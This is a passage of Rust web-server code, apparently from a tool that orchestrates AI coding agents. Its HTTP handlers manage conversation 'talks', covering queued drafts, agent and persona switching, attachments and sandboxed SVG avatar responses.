8889 blocking(move || {
8890 let id = resolve_talk(&ui.talks, &id)?;
8891 let talk = ui.talks.get(&id)?;
8892 let thinking = ui.is_thinking(&talk.id);
8893 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8894 let task_progress = talk_task_progress(&tasks);
8895 let tasks = tasks.into_iter().map(TaskView::from).collect();
8896 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8897 let roster = cfg
8898 .as_ref()
8899 .map(|cfg| {
8900 cfg.agents
8901 .iter()
8902 .map(|a| RosterEntry {
8903 id: a.id.clone(),
8904 kind: a.kind,
8905 runnable: agent::installed(a),
8906 })
8907 .collect()
8908 })
8909 .unwrap_or_default();
8910 let specs = cfg
8911 .as_ref()
8912 .map(|cfg| cfg.talk.personas.clone())
8913 .unwrap_or_default();
8914 let personas = persona::catalog(&specs)
8915 .into_iter()
8916 .map(|p| PersonaEntry {
8917 avatar: avatar_url(&ui.home, &talk.id, &p),
8918 id: p.id,
8919 name: p.name,
8920 })
8921 .collect();
8922 Ok(Json(TalkDetailView {
8923 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8924 tasks,
8925 task_progress,
8926 roster,
8927 personas,
8928 }))
8929 })
8930 .await
8931}
8932
8933#[derive(Debug, Default, Deserialize)]
8939#[serde(default, deny_unknown_fields)]
8940struct NewTalkTurn {
8941 reply_to: Option<talk::ReplyTarget>,
8942 text: String,
8943 attachments: Vec<String>,
8944}
8945
8946#[derive(Debug, Deserialize)]
8947#[serde(deny_unknown_fields)]
8948struct EditTalkPending {
8949 #[serde(default)]
8950 message: Option<usize>,
8951 text: String,
8952 expected_text: String,
8953 expected_attachments: Vec<String>,
8954}
8955
8956#[derive(Debug, Deserialize)]
8957#[serde(deny_unknown_fields)]
8958struct ClearTalkPending {
8959 expected_text: String,
8960 expected_attachments: Vec<String>,
8961}
8962
8963async fn talk_say(
8975 State(ui): State<Arc<Ui>>,
8976 Path(id): Path<String>,
8977 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8978) -> ApiResult<(StatusCode, Json<TalkView>)> {
8979 let admission = ui.begin_admission()?;
8980 admitted(admission, async move {
8981 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8982 if body.text.trim().is_empty() && body.attachments.is_empty() {
8983 return Err(ApiError::bad_request("say something"));
8984 }
8985
8986 let id = {
8987 let ui = Arc::clone(&ui);
8988 let asked = id.clone();
8989 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8990 };
8991 {
8995 let ui = Arc::clone(&ui);
8996 let id = id.clone();
8997 blocking(move || {
8998 let talk = ui.talks.get(&id)?;
8999 if !talk.status.open() {
9000 return Err(ApiError::conflict(format!(
9001 "talk {} is {} and takes no more turns",
9002 talk.short(),
9003 talk.status.as_str()
9004 )));
9005 }
9006 Ok(())
9007 })
9008 .await?;
9009 }
9010
9011 let attachments = {
9016 let ui = Arc::clone(&ui);
9017 let id = id.clone();
9018 let ids = body.attachments.clone();
9019 blocking(move || {
9020 ids.into_iter()
9021 .map(|att_id| {
9022 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9023 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9024 })
9025 })
9026 .collect::<ApiResult<Vec<talk::Attachment>>>()
9027 })
9028 .await?
9029 };
9030 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9031 .await.map_err(ApiError::from)?;
9032
9033 let start = {
9038 let ui = Arc::clone(&ui);
9039 let id = id.clone();
9040 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9041 };
9042 let turn_guard = match start {
9043 TalkTurnStart::Claimed(turn_guard) => turn_guard,
9044 TalkTurnStart::Pending => {
9045 return Err(ApiError::conflict(
9046 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9047 ));
9048 }
9049 TalkTurnStart::Foreign => {
9050 return Err(ApiError::conflict(
9051 "a turn is already running in another process; try again when it has finished",
9052 ));
9053 }
9054 TalkTurnStart::Busy => {
9055 let (tx, rx) = tokio::sync::oneshot::channel();
9071 tokio::spawn({
9072 let ui = Arc::clone(&ui);
9073 let id = id.clone();
9074 let said = body.text.clone();
9075 let reply_to = body.reply_to.clone();
9076 async move {
9077 let written = blocking({
9078 let ui = Arc::clone(&ui);
9079 let id = id.clone();
9080 move || {
9081 let mut talk = ui.talks.get(&id)?;
9082 #[cfg(test)]
9087 if let Some(gate) = ui
9088 .busy_queue_gate
9089 .lock()
9090 .unwrap_or_else(PoisonError::into_inner)
9091 .take()
9092 {
9093 let _ = gate.reached.send(());
9094 let _ = gate.release.recv();
9095 }
9096 if let Err(error) = talk::queue_reply(
9097 &mut talk,
9098 &ui.talks,
9099 &said,
9100 attachments,
9101 reply_to,
9102 ) {
9103 if let Ok(fresh) = ui.talks.get(&id) {
9104 if !fresh.status.open() {
9105 return Err(ApiError::conflict(format!(
9106 "talk {} is {} and takes no more turns",
9107 fresh.short(),
9108 fresh.status.as_str()
9109 )));
9110 }
9111 }
9112 return Err(
9113 if error.to_string().contains("invalid reply target") {
9114 ApiError::bad_request("invalid reply target")
9115 } else {
9116 ApiError::from(error)
9117 },
9118 );
9119 }
9120 let claim = match ui.begin_queued_talk_turn(&id)? {
9131 Some(turn_guard) => {
9132 let (cfg, _) = Config::discover(&talk.repo, None)?;
9133 Some((talk.clone(), cfg, turn_guard))
9134 }
9135 None => None,
9136 };
9137 let thinking = ui.is_thinking(&id);
9138 Ok((TalkView::new(talk, thinking, &ui), claim))
9139 }
9140 })
9141 .await;
9142 #[cfg(not(test))]
9143 {
9144 match written {
9145 Ok((view, reclaimed)) => {
9146 let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9147 drop(reclaimed);
9148 match launched {
9149 Ok(_) => { let _ = tx.send(Ok(view)); }
9150 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9151 }
9152 }
9153 Err(error) => { let _ = tx.send(Err(error)); }
9154 }
9155 }
9156 #[cfg(test)]
9157 {
9158 let (view, reclaimed) = match written {
9159 Ok(pair) => pair,
9160 Err(e) => {
9161 let _ = tx.send(Err(e));
9166 return;
9167 }
9168 };
9169 let _ = tx.send(Ok(view));
9172 if let Some((talk, cfg, turn_guard)) = reclaimed {
9173 let talks = ui.talks.clone();
9174 drain_loop(talk, talks, cfg, id, turn_guard).await;
9175 }
9176 }
9177 }
9178 });
9179 let view = rx
9180 .await
9181 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9182 return Ok((StatusCode::ACCEPTED, Json(view)));
9183 }
9184 };
9185
9186 let (talk, cfg) = {
9187 let ui = Arc::clone(&ui);
9188 let id = id.clone();
9189 blocking(move || {
9190 let talk = ui.talks.get(&id)?;
9191 let (cfg, _) = Config::discover(&talk.repo, None)?;
9192 Ok((talk, cfg))
9193 })
9194 .await?
9195 };
9196
9197 let talks = ui.talks.clone();
9198 let (tx, rx) = tokio::sync::oneshot::channel();
9213 tokio::spawn({
9214 #[cfg(test)]
9215 let ui = Arc::clone(&ui);
9216 let talks = talks.clone();
9217 let id = id.clone();
9218 let said = body.text.clone();
9219 let reply_to = body.reply_to.clone();
9220 let mut talk = talk.clone();
9221 async move {
9222 let recorded = blocking({
9223 let talks = talks.clone();
9224 move || {
9225 if let Err(error) =
9226 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9227 {
9228 if let Ok(fresh) = talks.get(&talk.id) {
9229 if !fresh.status.open() {
9230 return Err(ApiError::conflict(format!(
9231 "talk {} is {} and takes no more turns",
9232 fresh.short(),
9233 fresh.status.as_str()
9234 )));
9235 }
9236 }
9237 return Err(if error.to_string().contains("invalid reply target") {
9238 ApiError::bad_request("invalid reply target")
9239 } else {
9240 ApiError::from(error)
9241 });
9242 }
9243 Ok((said.trim().to_owned(), talk))
9249 }
9250 })
9251 .await;
9252 let (text, talk) = match recorded {
9253 Ok(pair) => pair,
9254 Err(e) => {
9255 let _ = tx.send(Err(e));
9259 return;
9260 }
9261 };
9262 #[cfg(not(test))]
9263 {
9264 let _ = (&cfg, &text);
9265 let result = crate::consult::spawn_recorded_turn(
9269 &talks, &id, talk.turns.len() - 1,
9270 ).await;
9271 drop(turn_guard);
9272 match result {
9273 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9274 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9275 }
9276 }
9277 #[cfg(test)]
9278 {
9279 let queued = talk.clone();
9280 let mut talk = talk;
9281 let thinking = ui.is_thinking(&id);
9282 let _ = tx.send(Ok((queued, thinking)));
9285
9286 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9287 tracing::warn!("talk {id} turn failed: {e:#}");
9291 }
9292 drain_loop(talk, talks, cfg, id, turn_guard).await;
9295 }
9296 }
9297 });
9298
9299 let (queued, thinking) = rx
9300 .await
9301 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9302
9303 Ok((
9305 StatusCode::ACCEPTED,
9306 Json(TalkView::new(queued, thinking, &ui)),
9307 ))
9308 }).await
9309}
9310
9311async fn talk_pending_resume(
9315 State(ui): State<Arc<Ui>>,
9316 Path(id): Path<String>,
9317) -> ApiResult<(StatusCode, Json<TalkView>)> {
9318 let admission = ui.begin_admission()?;
9319 admitted(admission, async move {
9320 let id = {
9321 let ui = Arc::clone(&ui);
9322 let asked = id.clone();
9323 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9324 };
9325 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9326 .await
9327 .map_err(ApiError::from)?;
9328 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9329 return Err(ApiError::conflict(
9330 "a talk turn is already running; the queued draft will be handled by it",
9331 ));
9332 };
9333 let (talk, cfg) = {
9334 let ui = Arc::clone(&ui);
9335 let id = id.clone();
9336 blocking(move || {
9337 let talk = ui.talks.get(&id)?;
9338 if !talk.status.open() {
9339 return Err(ApiError::conflict(format!(
9340 "talk {} is {} and takes no more turns",
9341 talk.short(),
9342 talk.status.as_str()
9343 )));
9344 }
9345 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9346 return Err(ApiError::conflict("there is no queued draft to resume"));
9347 }
9348 let (cfg, _) = Config::discover(&talk.repo, None)?;
9349 Ok((talk, cfg))
9350 })
9351 .await?
9352 };
9353 let view = TalkView::new(talk.clone(), true, &ui);
9354 let talks = ui.talks.clone();
9355 #[cfg(not(test))]
9356 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9357 #[cfg(test)]
9358 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9359 Ok((StatusCode::ACCEPTED, Json(view)))
9360 })
9361 .await
9362}
9363
9364#[cfg(not(test))]
9367async fn detach_talk_turn(
9368 _talk: Talk,
9369 talks: Talks,
9370 _cfg: Config,
9371 id: String,
9372 turn: TalkTurnGuard,
9373) -> ApiResult<()> {
9374 let launched = crate::consult::spawn_turn(&talks, &id).await;
9375 drop(turn);
9376 launched.map(|_| ()).map_err(ApiError::from)
9377}
9378
9379#[cfg(test)]
9380async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9381 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9382}
9383
9384async fn settle_settings_turn(
9388 talk: Talk,
9389 talks: Talks,
9390 cfg: Config,
9391 id: String,
9392 turn: TalkTurnGuard,
9393 observed: u64,
9394) -> bool {
9395 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9396 let turns = Arc::clone(&turn.turns);
9397 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9398 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9399 turn.release(&mut live);
9401 return false;
9402 }
9403 }
9404 let (started, settled) = tokio::sync::oneshot::channel();
9405 tokio::spawn(drain_loop_started(
9406 talk,
9407 talks,
9408 cfg,
9409 id,
9410 turn,
9411 Some(started),
9412 ));
9413 settled.await.unwrap_or(false)
9414}
9415
9416#[cfg(not(test))]
9417async fn drain_loop_started(
9418 talk: Talk,
9419 talks: Talks,
9420 _cfg: Config,
9421 id: String,
9422 turn: TalkTurnGuard,
9423 started: Option<tokio::sync::oneshot::Sender<bool>>,
9424) {
9425 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9426 let running = if pending {
9427 match crate::consult::spawn_turn(&talks, &id).await {
9428 Ok(_) => true,
9429 Err(error) => {
9430 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9431 false
9432 }
9433 }
9434 } else {
9435 false
9436 };
9437 drop(turn);
9438 if let Some(started) = started {
9439 let _ = started.send(running);
9440 }
9441}
9442
9443#[cfg(test)]
9446async fn drain_loop_started(
9447 mut talk: Talk,
9448 talks: Talks,
9449 cfg: Config,
9450 id: String,
9451 turn: TalkTurnGuard,
9452 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9453) {
9454 let live_set = Arc::clone(&turn.turns);
9455 let mut turn = Some(turn);
9463 loop {
9464 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9465 tracing::warn!("talk {id} lost its turn lease; not draining further");
9468 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9469 if let Some(turn) = turn.take() {
9470 turn.release(&mut live);
9471 }
9472 break;
9473 }
9474 let observed = live_set
9478 .lock()
9479 .unwrap_or_else(PoisonError::into_inner)
9480 .queued
9481 .get(&id)
9482 .copied()
9483 .unwrap_or(0);
9484 let drained = blocking({
9485 let talks = talks.clone();
9486 move || {
9487 let result = talk::drain(&mut talk, &talks);
9488 Ok((talk, result))
9489 }
9490 })
9491 .await;
9492 let (next_talk, result) = match drained {
9493 Ok(drained) => drained,
9494 Err(e) => {
9495 tracing::warn!(
9496 status = %e.status,
9497 message = %e.message,
9498 "talk {id} could not start queued-text drain"
9499 );
9500 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9501 turn.take()
9502 .expect("held for the whole loop until released here")
9503 .release(&mut live);
9504 break;
9505 }
9506 };
9507 talk = next_talk;
9508 let drained = match result {
9509 Ok(Some(drained)) => drained,
9510 Ok(None) => {
9511 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9512 if live.queued.get(&id).copied().unwrap_or(0) != observed {
9513 continue;
9514 }
9515 turn.take()
9516 .expect("held for the whole loop until released here")
9517 .release(&mut live);
9518 break;
9519 }
9520 Err(e) => {
9521 tracing::warn!("talk {id} could not drain queued text: {e:#}");
9522 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9523 turn.take()
9524 .expect("held for the whole loop until released here")
9525 .release(&mut live);
9526 break;
9527 }
9528 };
9529 if let Some(started) = started.take() {
9530 let _ = started.send(true);
9531 }
9532 let responded = match turn.as_ref() {
9533 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9534 None => Err(anyhow::anyhow!("the turn guard was released")),
9535 };
9536 if let Err(e) = responded {
9537 tracing::warn!("talk {id} turn failed: {e:#}");
9538 }
9539 }
9540 drop(turn);
9541 if let Some(started) = started {
9542 let _ = started.send(false);
9543 }
9544}
9545
9546async fn talk_pending_clear(
9548 State(ui): State<Arc<Ui>>,
9549 Path(id): Path<String>,
9550 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9551) -> ApiResult<Json<TalkView>> {
9552 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9553 blocking(move || {
9554 let id = resolve_talk(&ui.talks, &id)?;
9555 let mut talk = ui.talks.get(&id)?;
9556 if !talk.status.open() {
9557 return Err(ApiError::conflict(format!(
9558 "talk {} is {} and takes no more turns",
9559 talk.short(),
9560 talk.status.as_str()
9561 )));
9562 }
9563 if !talk::clear_pending_if_matches(
9564 &mut talk,
9565 &ui.talks,
9566 &body.expected_text,
9567 &body.expected_attachments,
9568 )? {
9569 return Err(ApiError::conflict(
9570 "queued message changed; reload it before clearing",
9571 ));
9572 }
9573 let thinking = ui.is_thinking(&talk.id);
9574 Ok(Json(TalkView::new(talk, thinking, &ui)))
9575 })
9576 .await
9577}
9578
9579async fn talk_pending_edit(
9583 State(ui): State<Arc<Ui>>,
9584 Path(id): Path<String>,
9585 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9586) -> ApiResult<Json<TalkView>> {
9587 let admission = ui.begin_admission()?;
9588 admitted(admission, async move {
9589 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9590 let id = {
9591 let ui = Arc::clone(&ui);
9592 blocking(move || resolve_talk(&ui.talks, &id)).await?
9593 };
9594 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9595 .await
9596 .map_err(ApiError::from)?;
9597 let (view, reclaimed) = blocking({
9598 let ui = Arc::clone(&ui);
9599 move || {
9600 let mut talk = ui.talks.get(&id)?;
9601 if !talk.status.open() {
9602 return Err(ApiError::conflict(format!(
9603 "talk {} is {} and takes no more turns",
9604 talk.short(),
9605 talk.status.as_str()
9606 )));
9607 }
9608 if !talk::edit_pending_message(
9609 &mut talk,
9610 &ui.talks,
9611 &body.text,
9612 &body.expected_text,
9613 &body.expected_attachments,
9614 body.message,
9615 )? {
9616 return Err(ApiError::conflict(
9617 "queued message changed; reload it before editing",
9618 ));
9619 }
9620 let claim = match ui.begin_queued_talk_turn(&id)? {
9621 Some(turn_guard) => {
9622 let (cfg, _) = Config::discover(&talk.repo, None)?;
9623 Some((talk.clone(), cfg, id.clone(), turn_guard))
9624 }
9625 None => None,
9626 };
9627 let thinking = ui.is_thinking(&id);
9628 Ok((TalkView::new(talk, thinking, &ui), claim))
9629 }
9630 })
9631 .await?;
9632 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9633 let talks = ui.talks.clone();
9634 #[cfg(not(test))]
9635 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9636 #[cfg(test)]
9637 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9638 }
9639 Ok(Json(view))
9640 })
9641 .await
9642}
9643
9644fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9646 if talk.status.open() {
9647 return Ok(());
9648 }
9649 Err(ApiError::conflict(format!(
9650 "talk {} is {} and takes no more turns",
9651 talk.short(),
9652 talk.status.as_str()
9653 )))
9654}
9655
9656#[derive(Debug, Deserialize)]
9658struct TalkAgent {
9659 agent: String,
9660}
9661
9662async fn talk_agent(
9667 State(ui): State<Arc<Ui>>,
9668 Path(id): Path<String>,
9669 Json(body): Json<TalkAgent>,
9670) -> ApiResult<Json<TalkView>> {
9671 let admission = ui.begin_admission()?;
9672 admitted(admission, async move {
9673 let id = {
9674 let ui = Arc::clone(&ui);
9675 blocking(move || resolve_talk(&ui.talks, &id)).await?
9676 };
9677 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9678 .await
9679 .map_err(ApiError::from)?;
9680 let repo = {
9681 let ui = Arc::clone(&ui);
9682 let id = id.clone();
9683 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9684 };
9685 let cfg = config_for(&repo).await?;
9686 {
9688 let ui = Arc::clone(&ui);
9689 let id = id.clone();
9690 let cfg = cfg.clone();
9691 let wanted = body.agent.clone();
9692 blocking(move || {
9693 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9694 .map_err(ApiError::bad_request_from)?;
9695 refuse_if_closed(&ui.talks.get(&id)?)
9696 })
9697 .await?;
9698 }
9699 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9700 return Err(ApiError::conflict(
9701 "a talk turn is running; change the agent once it has answered",
9702 ));
9703 };
9704 let switched = {
9705 let ui = Arc::clone(&ui);
9706 let id = id.clone();
9707 let cfg = cfg.clone();
9708 blocking(move || {
9709 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9710 .map_err(ApiError::bad_request_from)?;
9711 let mut talk = ui.talks.get(&id)?;
9712 if !talk.status.open() {
9713 return Err(ApiError::conflict(format!(
9714 "talk {} is {} and takes no more turns",
9715 talk.short(),
9716 talk.status.as_str()
9717 )));
9718 }
9719 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9720 Ok(talk)
9721 })
9722 .await
9723 };
9724 let observed = ui.queued_generation(&id);
9729 let fresh = {
9730 let ui = Arc::clone(&ui);
9731 let id = id.clone();
9732 blocking(move || Ok(ui.talks.get(&id)?)).await
9733 };
9734 let draining = match fresh {
9735 Ok(talk) => {
9736 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9737 }
9738 Err(_) => false,
9739 };
9740 let talk = switched?;
9741 Ok(Json(TalkView::new(talk, draining, &ui)))
9742 })
9743 .await
9744}
9745
9746#[derive(Debug, Deserialize)]
9748struct TalkPersona {
9749 persona: String,
9750}
9751
9752async fn talk_persona(
9756 State(ui): State<Arc<Ui>>,
9757 Path(id): Path<String>,
9758 Json(body): Json<TalkPersona>,
9759) -> ApiResult<Json<TalkView>> {
9760 let admission = ui.begin_admission()?;
9761 admitted(admission, async move {
9762 let id = {
9763 let ui = Arc::clone(&ui);
9764 blocking(move || resolve_talk(&ui.talks, &id)).await?
9765 };
9766 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9767 .await
9768 .map_err(ApiError::from)?;
9769 let repo = {
9770 let ui = Arc::clone(&ui);
9771 let id = id.clone();
9772 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9773 };
9774 let cfg = config_for(&repo).await?;
9775 {
9777 let ui = Arc::clone(&ui);
9778 let id = id.clone();
9779 let cfg = cfg.clone();
9780 let wanted = body.persona.clone();
9781 blocking(move || {
9782 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9783 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9784 }
9785 refuse_if_closed(&ui.talks.get(&id)?)
9786 })
9787 .await?;
9788 }
9789 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9790 return Err(ApiError::conflict(
9791 "a talk turn is running; change the persona once it has answered",
9792 ));
9793 };
9794 let switched = {
9795 let ui = Arc::clone(&ui);
9796 let id = id.clone();
9797 let cfg = cfg.clone();
9798 blocking(move || {
9799 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9800 return Err(ApiError::bad_request(format!(
9801 "unknown persona `{}`",
9802 body.persona
9803 )));
9804 };
9805 let mut talk = ui.talks.get(&id)?;
9806 if !talk.status.open() {
9807 return Err(ApiError::conflict(format!(
9808 "talk {} is {} and takes no more turns",
9809 talk.short(),
9810 talk.status.as_str()
9811 )));
9812 }
9813 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9814 Ok(talk)
9815 })
9816 .await
9817 };
9818 let observed = ui.queued_generation(&id);
9820 let fresh = {
9821 let ui = Arc::clone(&ui);
9822 let id = id.clone();
9823 blocking(move || Ok(ui.talks.get(&id)?)).await
9824 };
9825 let draining = match fresh {
9826 Ok(talk) => {
9827 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9828 }
9829 Err(_) => false,
9830 };
9831 let talk = switched?;
9832 Ok(Json(TalkView::new(talk, draining, &ui)))
9833 })
9834 .await
9835}
9836
9837#[derive(Debug, Deserialize)]
9839struct TalkImplementers {
9840 implementers: u8,
9841}
9842
9843async fn talk_implementers(
9847 State(ui): State<Arc<Ui>>,
9848 Path(id): Path<String>,
9849 Json(body): Json<TalkImplementers>,
9850) -> ApiResult<Json<TalkView>> {
9851 let admission = ui.begin_admission()?;
9852 admitted(admission, async move {
9853 let id = {
9854 let ui = Arc::clone(&ui);
9855 blocking(move || resolve_talk(&ui.talks, &id)).await?
9856 };
9857 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9858 .await
9859 .map_err(ApiError::from)?;
9860 let repo = {
9861 let ui = Arc::clone(&ui);
9862 let id = id.clone();
9863 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9864 };
9865 let cfg = config_for(&repo).await?;
9866 {
9871 let ui = Arc::clone(&ui);
9872 let id = id.clone();
9873 let cfg = cfg.clone();
9874 let wanted = body.implementers;
9875 blocking(move || {
9876 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9877 refuse_if_closed(&ui.talks.get(&id)?)
9878 })
9879 .await?;
9880 }
9881 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9882 return Err(ApiError::conflict(
9883 "a talk turn is running; change the implementers once it has answered",
9884 ));
9885 };
9886 let switched = {
9887 let ui = Arc::clone(&ui);
9888 let id = id.clone();
9889 let cfg = cfg.clone();
9890 blocking(move || {
9891 let chosen = talk::check_implementers(body.implementers, &cfg)
9892 .map_err(ApiError::bad_request)?;
9893 let mut talk = ui.talks.get(&id)?;
9894 if !talk.status.open() {
9895 return Err(ApiError::conflict(format!(
9896 "talk {} is {} and takes no more turns",
9897 talk.short(),
9898 talk.status.as_str()
9899 )));
9900 }
9901 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9902 Ok(talk)
9903 })
9904 .await
9905 };
9906 let observed = ui.queued_generation(&id);
9908 let fresh = {
9909 let ui = Arc::clone(&ui);
9910 let id = id.clone();
9911 blocking(move || Ok(ui.talks.get(&id)?)).await
9912 };
9913 let draining = match fresh {
9914 Ok(talk) => {
9915 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9916 }
9917 Err(_) => false,
9918 };
9919 let talk = switched?;
9920 Ok(Json(TalkView::new(talk, draining, &ui)))
9921 })
9922 .await
9923}
9924
9925async fn talk_close(
9927 State(ui): State<Arc<Ui>>,
9928 Path(id): Path<String>,
9929) -> ApiResult<Json<TalkView>> {
9930 blocking(move || {
9931 let id = resolve_talk(&ui.talks, &id)?;
9932 let mut talk = ui.talks.get(&id)?;
9933 talk::close(&mut talk, &ui.talks)?;
9934 let thinking = ui.is_thinking(&talk.id);
9935 Ok(Json(TalkView::new(talk, thinking, &ui)))
9936 })
9937 .await
9938}
9939
9940async fn talk_reopen(
9942 State(ui): State<Arc<Ui>>,
9943 Path(id): Path<String>,
9944) -> ApiResult<Json<TalkView>> {
9945 blocking(move || {
9946 let id = resolve_talk(&ui.talks, &id)?;
9947 let mut talk = ui.talks.get(&id)?;
9948 talk::reopen(&mut talk, &ui.talks)?;
9949 let thinking = ui.is_thinking(&talk.id);
9950 Ok(Json(TalkView::new(talk, thinking, &ui)))
9951 })
9952 .await
9953}
9954
9955async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9965 blocking(move || {
9966 let id = resolve_talk(&ui.talks, &id)?;
9967 ui.talks.remove(&id)?;
9968 Ok(StatusCode::NO_CONTENT)
9969 })
9970 .await
9971}
9972
9973fn talk_ids(root: &FsPath) -> Vec<String> {
9974 std::fs::read_dir(root)
9975 .into_iter()
9976 .flatten()
9977 .flatten()
9978 .filter_map(|e| {
9979 let path = e.path();
9980 if path.extension().is_some_and(|ext| ext == "json") {
9981 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9982 } else {
9983 None
9984 }
9985 })
9986 .collect()
9987}
9988
9989fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9991 if plain_record_id(id) && store.path_of(id).is_file() {
9992 return Ok(id.to_owned());
9993 }
9994 pick(talk_ids(store.root()), id, "talk")
9995}
9996
9997async fn talk_attachment_post(
10000 State(ui): State<Arc<Ui>>,
10001 Path(id): Path<String>,
10002 headers: HeaderMap,
10003 body: Bytes,
10004) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10005 let mime = validate_attachment(&headers, &body)?;
10006 let name = filename_header(&headers);
10007 let data = body.to_vec();
10008 blocking(move || {
10009 let id = resolve_talk(&ui.talks, &id)?;
10010 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10011 Ok((StatusCode::CREATED, Json(att)))
10012 })
10013 .await
10014}
10015
10016async fn talk_attachment_get(
10019 State(ui): State<Arc<Ui>>,
10020 Path((id, att)): Path<(String, String)>,
10021) -> ApiResult<Response> {
10022 blocking(move || {
10023 let id = resolve_talk(&ui.talks, &id)?;
10024 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10025 return Err(ApiError::not_found(format!(
10026 "talk {id} has no attachment `{att}`"
10027 )));
10028 };
10029 Ok(attachment_response(&meta.mime, data))
10030 })
10031 .await
10032}
10033
10034fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10037 let id = avatar_encode(&p.id);
10038 format!(
10039 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10040 persona_icon::fingerprint(
10041 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10042 )
10043 )
10044}
10045
10046#[derive(Debug, Default, Deserialize)]
10047struct AvatarQuery {
10048 persona: Option<String>,
10049 builtin: Option<String>,
10051}
10052
10053const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10055
10056fn builtin_avatar(id: &str) -> Response {
10057 svg_avatar(persona_icon::builtin_svg(id))
10058}
10059
10060async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10061 raster_or_builtin(
10062 read_icon_file(&avatar_setting_path(&ui.home, None))
10063 .filter(|_| q.builtin.is_none())
10064 .as_deref(),
10065 persona_icon::operator_svg(),
10066 )
10067}
10068
10069fn svg_avatar(svg: &'static str) -> Response {
10070 (
10071 [
10072 (header::CONTENT_TYPE, "image/svg+xml"),
10073 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10074 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10075 (header::CACHE_CONTROL, "no-cache"),
10076 ],
10077 svg,
10078 )
10079 .into_response()
10080}
10081
10082fn avatar_encode(value: &str) -> String {
10083 value
10084 .bytes()
10085 .map(|b| {
10086 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10087 char::from(b).to_string()
10088 } else {
